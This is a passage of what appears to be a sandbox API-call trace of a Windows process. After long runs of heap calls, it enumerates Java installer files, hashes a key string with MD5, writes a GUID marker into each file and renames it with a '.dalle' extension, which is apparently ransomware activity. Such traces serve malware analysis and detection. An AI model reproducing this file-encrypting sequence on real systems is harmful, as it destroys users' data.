hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.113] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.113] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.113] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.113] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.113] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.113] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.113] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.113] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.113] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.113] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.113] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.113] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.113] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.113] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.113] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.113] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.113] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.113] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.113] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.113] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.113] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.113] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.113] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.113] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.113] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.113] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.114] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.114] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.114] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.114] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.114] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.114] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.114] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.114] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.114] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.114] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.114] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.114] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.114] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.114] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.114] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.114] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.114] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.114] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.114] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.114] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.114] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.114] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.114] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.114] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.114] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.114] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.114] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.114] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.114] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.115] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.115] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.115] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.115] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.115] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.115] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.115] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.115] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.115] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.115] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.115] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.115] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.115] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.115] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.115] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.115] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.115] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.115] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.115] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.115] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.115] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.115] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.115] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.115] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.115] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.115] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.115] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.115] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.115] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.115] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.115] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.116] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.116] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.116] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.116] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.116] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.116] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.116] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.116] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.116] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.116] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\") returned="jre1.7.0_45\\" [0122.116] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0122.116] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1160 [0122.116] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.116] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0122.116] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30187b8 [0122.116] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0122.116] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0122.116] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.116] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 [0122.116] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.116] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0122.116] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.116] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0122.116] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.116] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.116] PathFindFileNameW (pszPath="") returned="" [0122.116] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.117] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.117] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.117] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x182ac2a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Data1.cab", cAlternateFileName="")) returned 1 [0122.117] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.117] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd6) returned 0x2f78ea0 [0122.117] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab") returned=".cab" [0122.117] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0122.119] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=25340970) returned 1 [0122.119] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0122.121] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x182ac04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.121] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0122.123] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0122.123] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x25805, lpOverlapped=0x0) returned 1 [0122.126] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.126] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0122.126] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.126] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.126] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0122.127] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0122.127] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0122.127] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0122.127] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0122.127] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0122.127] GetLastError () returned 0x0 [0122.127] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0122.127] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0122.128] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x182ac2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.128] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0122.128] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0122.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0122.128] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0122.128] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0122.128] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0122.128] CloseHandle (hObject=0x618) returned 1 [0122.468] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.468] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3093b88 [0122.468] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab.dalle")) returned 1 [0122.470] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68d26e60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xdd600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45.msi", cAlternateFileName="JRE170~1.MSI")) returned 1 [0122.470] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.470] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd6) returned 0x2f78ea0 [0122.470] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi") returned=".msi" [0122.470] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0122.471] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=906752) returned 1 [0122.471] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0122.473] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xdd5da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.473] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0122.475] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.475] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x25805, lpOverlapped=0x0) returned 1 [0122.477] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.477] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0122.478] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.478] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.478] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0122.478] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0122.478] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0122.478] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0122.478] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0122.478] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0122.479] GetLastError () returned 0x0 [0122.479] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0122.479] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0122.480] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xdd600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.480] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0122.480] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0122.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0122.480] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0122.480] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0122.480] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0122.480] CloseHandle (hObject=0x618) returned 1 [0122.492] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e240 [0122.492] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8c0) returned 0x3093b88 [0122.492] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi.dalle")) returned 1 [0122.493] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68d26e60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xdd600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45.msi", cAlternateFileName="JRE170~1.MSI")) returned 0 [0122.493] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.494] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.494] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 